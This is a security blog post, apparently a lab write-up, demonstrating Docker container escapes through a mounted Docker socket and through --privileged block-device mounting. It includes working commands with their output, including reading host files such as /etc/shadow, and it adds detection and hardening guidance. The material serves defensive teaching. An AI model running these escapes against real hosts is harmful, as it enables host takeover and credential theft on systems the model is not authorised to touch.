---
title: "Container Escape: Docker Socket, Privileged Mode, and the Boundary That Moves"
description: "A container is a namespace, a cgroup, and a set of capabilities — not a boundary. When one of those is handed to you, the host is a mount away. The Docker socket and --privileged are demonstrated live, and the cgroup v1 trick that modern systems already killed is called out."
date: 2026-11-06
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/container-escape-docker-socket/
---

## A container is not a boundary

A container is three things: a **namespace** (process, mount, network, and the rest, isolating *what you can see*), a **cgroup** (limiting *what you can use*), and a set of **capabilities** (granting *what you are allowed to do*). None of these is a security boundary by itself — they are resource-isolation primitives. The host and the container share one kernel.

That is why every container escape follows the same shape: find the one thing the container was given that it should not have, then use it to reach the host's filesystem or process space. I demonstrate the two most common ways here, on a real Docker daemon.

A note on the host in this lab: on my Mac, Docker runs inside a Linux VM (OrbStack), so "the host" in these outputs is that VM. On a Linux server — the normal place these run — the exact same steps land on the actual machine.

## The Docker socket: the host's keys, mounted inside

`/var/run/docker.sock` is the Docker daemon's control plane. It is equivalent to root on the host, because whoever can talk to it can create containers *on the host* with whatever privileges they want. Mounting it into a container is the single most common escape enabler:

```bash
$ docker run -d --name web -v /var/run/docker.sock:/var/run/docker.sock alpine sleep 3600
```

Inside, the socket is there, and it answers:

```bash
$ ls -la /var/run/docker.sock
srw-rw----  1 root root 0 Nov  3 07:38 /var/run/docker.sock

$ docker -H unix:///var/run/docker.sock ps
CONTAINER ID   IMAGE     COMMAND        CREATED        STATUS        NAMES
0da093ef619f   alpine    "sleep 3600"   1 second ago   Up 1 second   web
```

That `ps` already shows host-level information. The escape is the obvious next step: use the socket to start a *new* container with the host's root filesystem mounted inside, then `chroot` into it:

```bash
$ docker -H unix:///var/run/docker.sock run --rm --privileged -v /:/host alpine \
    sh -c "cat /host/etc/hostname; head -1 /host/etc/os-release"
[host] hostname: orbstack
[host] os: PRETTY_NAME="OrbStack"
```

Reading the host's `/etc/hostname` from inside a container that was never given that file is the whole point. Swap the `cat` for `cat /host/etc/shadow`, or write a `root`-owned file, and the container boundary is gone. The socket was the key; everything else followed.

## `--privileged`: mount the disk directly

You do not even need the socket if the container is privileged. `--privileged` hands over `CAP_SYS_ADMIN` **and** drops the device cgroup restrictions, which together mean "you can mount host block devices." Enumerate the disks, mount the host root, done:

```bash
$ docker run --rm --privileged alpine sh -c 'cat /proc/partitions'
 254        0     420164 vda
 254       16  482798608 vdb
 254       17  482797568 vdb1

$ docker run --rm --privileged alpine sh -c 'mkdir -p /mnt/host && mount /dev/vdb1 /mnt/host && ls /mnt/host'
docker
guest-state
k8s
scon
version
```

`/dev/vdb1` is the host's main partition, and `ls /mnt/host` lists it — the daemon's own root filesystem. The nuance worth keeping: `--cap-add=SYS_ADMIN` *alone* is **not** enough. The mount fails because a non-privileged container also lacks the device node:

```bash
$ docker run --rm --cap-add=SYS_ADMIN alpine sh -c 'mount /dev/vdb1 /mnt/host'
mount: mounting /dev/vdb1 on /mnt/host failed: No such file or directory
```

So the real ingredients are *capability + device access*. `--privileged` grants both at once, which is exactly why it is the flag to avoid.

## The trick modern systems already killed

The third classic escape was the cgroup v1 `release_agent`: mount a cgroup, set `notify_on_release` and point `release_agent` at a script on the host, then trigger it. On this system it is gone before it starts:

```bash
$ cat /proc/self/cgroup
0::/
```

A single `0::/` means **cgroup v2**, which removed `release_agent` entirely. It is a good example of the container model hardening over time: an escape that worked against cgroup v1 simply no longer has an interface. The lesson is not "use cgroup v1 was dangerous," it is that the *interface surface* a container exposes is what an attacker lives on — and shrinking that surface is the only real defense.

## Detection and the fix

| Escape | What it needs | Detection | Control |
| --- | --- | --- | --- |
| Docker socket | `/var/run/docker.sock` mounted | unexpected container creation from inside a pod | never mount the socket; use a delegated builder service |
| Privileged mount | `--privileged` (SYS_ADMIN + devices) | `mount` of host block devices from a container | drop `--privileged`; grant specific `--cap-add` + `--device` only |
| cgroup release_agent | cgroup v1 | historical | cgroup v2 removes the interface |

The controls form a clean hierarchy. At the platform level, **Pod Security Standards** ("restricted" profile) block privileged mode, host mounts, and capability escalation. At the runtime level, **seccomp** and **AppArmor** profile the syscalls a container may call, so an unexpected `mount` dies before it succeeds. And at the habit level: never mount the Docker socket into a container, and never run `--privileged` without a reason you can write down. Container escape is, in the end, a misconfiguration problem more than a vulnerability problem.

## Summary

Two live escapes, one retired interface: the Docker socket is root-equivalent and must never be handed out; `--privileged` is a disk-mount away from the host; and the cgroup v1 `release_agent` trick no longer exists because cgroup v2 removed it. The common thread is that every escape starts with a *granted* capability, mount, or socket — so the fix is to stop granting them.

<figure class="diagram">
<svg viewBox="0 0 760 220" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Container escape paths: a mounted Docker socket or a privileged container with CAP_SYS_ADMIN and device access reaches the host root filesystem, while cgroup v2 removes the legacy release_agent interface.">
<defs><marker id="ce1" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">CONTAINER ESCAPE · GRANTED CAPABILITIES TO HOST ROOT</text>
<rect x="0" y="40" width="220" height="120" rx="8" class="dg-box" />
<text x="14" y="66" class="dg-label">1 · Container context</text>
<text x="14" y="88" class="dg-mono dg-compact">docker.sock OR --privileged</text>
<text x="14" y="108" class="dg-muted">shared host kernel</text>
<line x1="220" y1="100" x2="262" y2="100" class="dg-line-crit" marker-end="url(#ce1)" />
<rect x="266" y="40" width="230" height="120" rx="8" class="dg-box-accent" />
<text x="280" y="66" class="dg-label">2 · Boundary crossing</text>
<text x="280" y="88" class="dg-mono dg-compact">-v /:/host | mount /dev/vdb1</text>
<text x="280" y="108" class="dg-muted">daemon API or block device</text>
<line x1="496" y1="100" x2="538" y2="100" class="dg-line-crit" marker-end="url(#ce1)" />
<rect x="542" y="40" width="218" height="120" rx="8" class="dg-box-danger" />
<text x="556" y="66" class="dg-label">3 · Host takeover</text>
<text x="556" y="88" class="dg-mono dg-compact">chroot /host · /mnt/host</text>
<text x="556" y="108" class="dg-crit">host root filesystem</text>
</svg>
<figcaption>Every escape rides on an explicitly granted host interface: either the Docker daemon socket or block-device access under <code>--privileged</code>.</figcaption>
</figure>

## Evidence and limits

The socket and `--privileged` escapes were executed inside an isolated local Docker daemon running on an OrbStack Linux VM. Consequently, the mounted root filesystem (`/dev/vdb1`) and `/etc/os-release` reflect the daemon VM rather than a production cluster node. The negative controls (`--cap-add=SYS_ADMIN` failing without device access, and `0::/` confirming cgroup v2) were verified on the same kernel, and all test containers were removed immediately after verification.

## References

- **Docker, Security:** [docs.docker.com/engine/security/security](https://docs.docker.com/engine/security/security/)
- **Kubernetes, Pod Security Standards:** [kubernetes.io/docs/concepts/security/pod-security-standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
- **Linux man-pages, cgroups (7):** [man7.org/linux/man-pages/man7/cgroups.7.html](https://man7.org/linux/man-pages/man7/cgroups.7.html)
- **MITRE ATT&CK, Container Escape (T1611):** [attack.mitre.org/techniques/T1611](https://attack.mitre.org/techniques/T1611/)
- **Trail of Bits, Understanding Docker Container Escapes:** [blog.trailofbits.com](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)